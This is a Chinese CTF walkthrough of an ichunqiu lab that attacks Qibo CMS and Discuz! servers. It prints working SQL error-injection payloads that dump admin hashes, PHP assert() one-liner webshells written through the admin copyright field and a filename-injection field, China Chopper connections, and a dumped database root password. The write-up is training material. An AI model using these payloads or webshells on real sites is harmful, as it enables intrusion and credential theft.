滲透測試入門 —— 滲透測試筆記

  • 2019 年 12 月 12 日
  • 筆記

來源:http://www.uml.org.cn

0x00 前言

本題算是一道較為綜合的滲透題,要求對兩個服務器系統進行滲透,這兩個 CMS 同樣能在網上找到許多漏洞,常用作滲透測試的練習靶機。

根據提示,第 1 題要求找到諮詢平台的管理員賬號密碼;第 2 題需要登錄服務器後台,並插入木馬,再用中國菜刀連接,繼而找到在管理員桌面上的 flag 文件;第 3 題要求在論壇社區的數據庫中找到 admin 賬戶的 salt 值。

題目鏈接:https://www.ichunqiu.com/battalion?t=2&r=54399

解題鏈接:https://www.ichunqiu.com/vm/50629/1

0x01 獲取 www.test.ichunqiu 後台登錄密碼

利用 SQL 報錯注入是獲取管理員賬號密碼的常見方法。在瀏覽器搜索齊博 CMS 的可利用漏洞,其中發現了一個 SQL 報錯注入漏洞,在 /member/special.php 中的 $TB_pre 變量未初始化,未作過濾,且直接與代碼進行拼接,注入發生後可在報錯信息中看到管理員的賬號密碼。詳情可參考:

齊博CMS整站系統SQL注入

下面打開 Firefox 瀏覽器,根據漏洞說明先任意註冊一個賬號:

登錄後點擊 會員中心 -> 專題管理 -> 創建專題,任意創建一個專題:

點擊專題名稱,在彈出的專題頁面中查看其 URL,並記錄下 id 值(此處 id=27):

接下來訪問 http://www.test.ichunqiu/member/special.php,並打開 HackBar 工具,按照漏洞報告中的格式填寫好 URL 和請求數據。URL 的查詢字符串填入 job=show_BBSiframe&id=27&type=all(注意 id 值要等於上述專題 ID),請求數據填入 SQL 報錯注入的 payload:

小貼士:為了方便使用 HackBar,可在瀏覽器右上角點擊 菜單 -> 定製,將 HackBar 拖到工具欄中。

從報錯信息中得知管理員賬號為 admin,密碼的哈希值只有 26 位,因此修改一下 payload 的輸出值,再次注入,便可看到完整的密碼哈希值為 b10a9a82cf828627be682033e6c5878c:

以上 payload 在漏洞報告的基礎上稍作修改,否則輸出不了完整的密碼哈希。

關於 SQL 報錯注入的可利用函數較多,本題選用了 extractvalue() 函數:

TB_pre=qb_members where 1 and extractvalue(1,concat(0,(select concat(0x7e,username,password) from qb_members limit 1)))– a

也可以選用 updatexml() 函數:

TB_pre=qb_members where 1 and updatexml(1,concat(0,(select concat(0x7e,username,password) from qb_members limit 1)),0)– a

以下是在傾旋的公開課中總結出來的 MySQL 數據庫常用十大報錯函數,建議去官方文檔查閱每個函數的用法,多看多練,熟能生巧:

最後利用 MD5解密工具 對密碼哈希值解密,得到密碼明文為 whoami!@#123:

0x02 獲取目標服務器 1 管理員桌面的 FLAG 文件信息

獲取了管理員權限,相當於完成了 getshell 的一半。隨便搜搜可發現許多用於齊博 CMS getshell 的漏洞,下面選取兩個文件寫入漏洞進行復現。

後台頻道頁版權信息寫入木馬

第一個漏洞涉及兩個操作:一是在網頁底部版權信息中寫入一句話木馬,二是創建頻道靜態化頁面。漏洞報告中未給出審計過程,本人對此組合拳甚是佩服,詳情可參考:

齊博cms最新後台getshell

先搜索到齊博 CMS 的默認登錄後台為 /admin/index.php,遂嘗試訪問,發現後台路徑確實沒修改。再用賬號 admin 與密碼 whoami!@#123 登錄後台:

依次點擊 系統功能 -> 全局參數設置,在 網頁底部版權信息 中寫入一句話木馬 <?php @assert($_POST['cmd']); ?> 後保存設置:

這裡為什麼不用傳統的一句話木馬 <?php @eval($_POST['cmd']); ?> 呢?因為 CMS 對 eval() 函數進行了過濾,會將其轉變成 eva l():

所以此處能用 assert() 函數寫入木馬,也體現了 CMS 的寫入過濾不完全。接着點擊 系統功能 -> 頻道獨立頁管理 -> 添加頻道頁,在 頻道頁名字 處填上任意字符(此處以 sqli 為例),在 靜態文件名 處必須填上 .php 文件名,否則菜刀連接不上(此處以 sqli.php 為例):

點擊 提交 後,可在 頻道管理頁 中看到所添加的頻道頁,接下來一定要點擊 靜態化 按鈕,才能正常訪問 http://www.test.ichunqiu/sqli.php,否則只會彈出 404 頁面:

在確認能夠正常 sqli.php 頁面後,準備 添加SHELL 進行菜刀連接:

成功連接後,在管理員桌面上看到了 flag 文件:

打開 flag 文件即可獲得 key{636bb37e},因此第 2 題答案就是 636bb37e:

前台欄目投稿自定義文件名寫入木馬

第二個漏洞是在前台欄目投稿設置信息中的 自定義文件名 輸入框內觸發,因此需要「自定義內容頁文件名」的權限,不過我們已經有了管理員權限,故不必擔心此問題。詳情可參考:

齊博CMS某處任意文件寫入getshell(需要一定權限)

首先用賬號 admin 與密碼 whoami!@#123 在前台登錄,並點擊 !我要投稿:

任選一欄目,在 我要投稿 處點擊 發表(此處以社會新聞欄目為例):

先在 其他設置 標籤頁下的 自定義文件名 輸入框中寫入木馬 x';@assert($_POST['cmd']);//y.htm:

其中 x';是為了閉合代碼中的左單引號,//y.htm 是為了使整體文件名有靜態網頁的後綴,並且注釋掉後面的代碼。注意此處不能用 eval() 函數構造木馬,與前文一樣會被過濾。

再回到 基本信息 標籤頁下,將帶 (*) 的必填信息填好後提交:

提交後訪問 http://www.test.ichunqiu/data/showhtmltype.php,成功看到報錯信息:

接下來 添加SHELL 進行菜刀連接:

成功連接後,可在 /data/showhtmltype.php 源碼中看到所添加的木馬,印證了漏洞的存在:

查看管理員桌面上的 flag 文件與前文一致,此處不再贅述。

0x03 獲取 bbs.test.ichunqiu 數據庫中 admin 的 salt 值

第 3 題終於引入了 http://bbs.test.ichunqiu 論壇社區…的數據庫了。出題人好像為了方便我們直接進行本題,特意在主站根目錄下放了木馬 /2.php,免去了上題插入木馬的過程:

所以下次想直接復現第 3 題,用菜刀連上此木馬即可:

我們在根目錄下可看到 /dedecms_bak 的文件夾,進一步搜索到 DEDECMS 的默認數據庫配置文件為 /data/common.inc.php,打開一看,果不其然:

但是主機地址顯示為 172.16.12.3,跟 http://bbs.test.ichunqiu 好像沒什麼關係吧?其實不然,打開主機終端,用 nslookup 命令可得到論壇的 IP 地址就是 172.16.12.3,順便可看到主站的 IP 地址為 172.16.12.2:

注意到數據庫配置信息中是根用戶權限,因此若能連上 DEDECMS 在 172.16.12.3 上的數據庫,那麼 Discuz! 在 172.16.12.3 上的數據庫也能被訪問到!於是,在菜刀 添加SHELL 的配置中填入數據庫信息(THUPL):

小貼士:如何在菜刀中填入數據庫配置信息請參考 黑站利器-中國菜刀的功能介紹和使用方法

<T>mysql</T><H>172.16.12.3</H><U>root</U><P>opiznmzs&**(</P><L>gbk</L>

保存設置後右鍵條目,選擇 數據庫管理,成功連接後可見服務器端的數據庫管理界面:

又經過一番搜索,得知 ultrax 正是 Discuz! 的數據庫,而 dedecms 顯而易見是 DEDECMS 的。我們的目標應該是 ultrax 數據庫中某個表的 salt 字段,這裡必須要介紹一下 MySQL 自帶的 information_schema 數據庫,它提供了對元數據的訪問方式,是 MySQL 中的百科全書,其中在 information_schema.COLUMNS 表中記錄了本數據庫所有字段的相關信息。詳情可參考:

MySQL中information_schema是什麼

因此,只要輸入一條簡單的 SQL 語句,點擊 執行,有關 salt 字段的所有信息將會呈現:

SELECT * FROM COLUMNS WHERE COLUMN_NAME = 'salt'

最終我們在 ultrax 數據庫的 pre_ucenter_members 表中發現了 salt 字段的值為 9b47b6:

到此為止,本次滲透測試的指定任務已達成。

意猶未盡的各位看官可接着往下看,既然我們把 172.16.12.3 上的數據庫給爆了,那也趁此機會,不妨把 172.16.12.2 上的數據庫也給爆了。經過搜索後發現,齊博 CMS 的默認數據庫配置文件為 /data/mysql_config.php:

然後在菜刀 添加SHELL 的配置中修改數據庫信息:

成功連接後,在 qibov7 數據庫的 qb_members 表中發現第 1 題中管理員的賬號與密碼哈希值:

至此,本題兩個服務器中的數據庫系統已被我們打穿。還想繼續深挖的朋友,建議去嘗試獲得論壇社區的 webshell,並通過提權獲得兩個服務器系統的最高權限,達到完全控制的最終目的。

0x04 小結

本題雖然有兩台目標服務器,但萬變不離其宗,熟練之後自然得心應手。在此過程中,我同樣也受益匪淺,細心的讀者會發現全文多次出現『搜索』二字,而滲透測試的核心正是收集目標系統的信息,挖掘其漏洞並加以利用。

星雲測試

http://www.teststars.cc

奇林軟件

http://www.kylinpet.com

聯合通測

http://www.quicktesting.net